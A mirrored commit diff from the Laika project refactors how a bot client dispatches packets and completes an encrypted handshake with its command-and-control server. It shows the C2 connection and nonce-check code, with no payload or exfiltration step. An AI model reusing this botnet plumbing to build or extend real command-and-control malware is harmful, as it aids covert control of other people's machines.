mirror of
https://github.com/CPunch/Laika.git
synced 2025-10-01 22:10:05 +00:00
Minor lpeer refactoring
- Packets are now dispatched based on a packet function handler map which is passed to laikaS_newPeer()
This commit is contained in:
@@ -7,39 +7,33 @@ LAIKAPKT_SIZE laikaB_pktSizeTbl[LAIKAPKT_MAXNONE] = {
|
||||
[LAIKAPKT_HANDSHAKE_RES] = sizeof(uint8_t) + LAIKAENC_SIZE(LAIKA_NONCESIZE)
|
||||
};
|
||||
|
||||
void laikaB_pktHandler(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData) {
|
||||
void handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
||||
uint8_t nonce[LAIKA_NONCESIZE];
|
||||
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
|
||||
uint8_t endianness = laikaS_readByte(&peer->sock);
|
||||
|
||||
switch (id) {
|
||||
case LAIKAPKT_HANDSHAKE_RES: {
|
||||
uint8_t encNonce[LAIKAENC_SIZE(LAIKA_NONCESIZE)], nonce[LAIKA_NONCESIZE];
|
||||
uint8_t endianness = laikaS_readByte(&peer->sock);
|
||||
/* read & decrypt nonce */
|
||||
laikaS_readENC(&peer->sock, nonce, LAIKA_NONCESIZE, bot->pub, bot->priv);
|
||||
|
||||
/* read & decrypt nonce */
|
||||
laikaS_read(&peer->sock, encNonce, sizeof(encNonce));
|
||||
if (crypto_box_seal_open(nonce, encNonce, LAIKAENC_SIZE(LAIKA_NONCESIZE), bot->pub, bot->priv) != 0)
|
||||
LAIKA_ERROR("Failed to decrypt nonce!\n");
|
||||
/* check nonce */
|
||||
if (memcmp(nonce, bot->nonce, LAIKA_NONCESIZE) != 0)
|
||||
LAIKA_ERROR("mismatched nonce!\n");
|
||||
|
||||
/* check nonce */
|
||||
if (memcmp(nonce, bot->nonce, LAIKA_NONCESIZE) != 0)
|
||||
LAIKA_ERROR("Mismatched nonce!\n");
|
||||
|
||||
peer->sock.flipEndian = endianness != laikaS_isBigEndian();
|
||||
LAIKA_DEBUG("handshake accepted by cnc!\n")
|
||||
break;
|
||||
}
|
||||
default:
|
||||
LAIKA_ERROR("unknown packet id [%d]\n", id);
|
||||
}
|
||||
peer->sock.flipEndian = endianness != laikaS_isBigEndian();
|
||||
LAIKA_DEBUG("handshake accepted by cnc!\n")
|
||||
}
|
||||
|
||||
PeerPktHandler laikaB_handlerTbl[LAIKAPKT_MAXNONE] = {
|
||||
[LAIKAPKT_HANDSHAKE_RES] = handleHandshakeResponse
|
||||
};
|
||||
|
||||
struct sLaika_bot *laikaB_newBot(void) {
|
||||
struct sLaika_bot *bot = laikaM_malloc(sizeof(struct sLaika_bot));
|
||||
size_t _unused;
|
||||
|
||||
laikaP_initPList(&bot->pList);
|
||||
bot->peer = laikaS_newPeer(
|
||||
laikaB_pktHandler,
|
||||
laikaB_handlerTbl,
|
||||
laikaB_pktSizeTbl,
|
||||
&bot->pList,
|
||||
(void*)bot
|
||||
@@ -88,6 +82,7 @@ void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) {
|
||||
laikaS_write(sock, LAIKA_MAGIC, LAIKA_MAGICLEN);
|
||||
laikaS_writeByte(sock, LAIKA_VERSION_MAJOR);
|
||||
laikaS_writeByte(sock, LAIKA_VERSION_MINOR);
|
||||
laikaS_writeByte(sock, PEER_BOT);
|
||||
laikaS_writeENC(sock, bot->nonce, LAIKA_NONCESIZE, bot->peer->peerPub); /* write encrypted nonce test */
|
||||
laikaS_write(sock, bot->pub, sizeof(bot->pub)); /* write public key */
|
||||
|
||||
|
Reference in New Issue
Block a user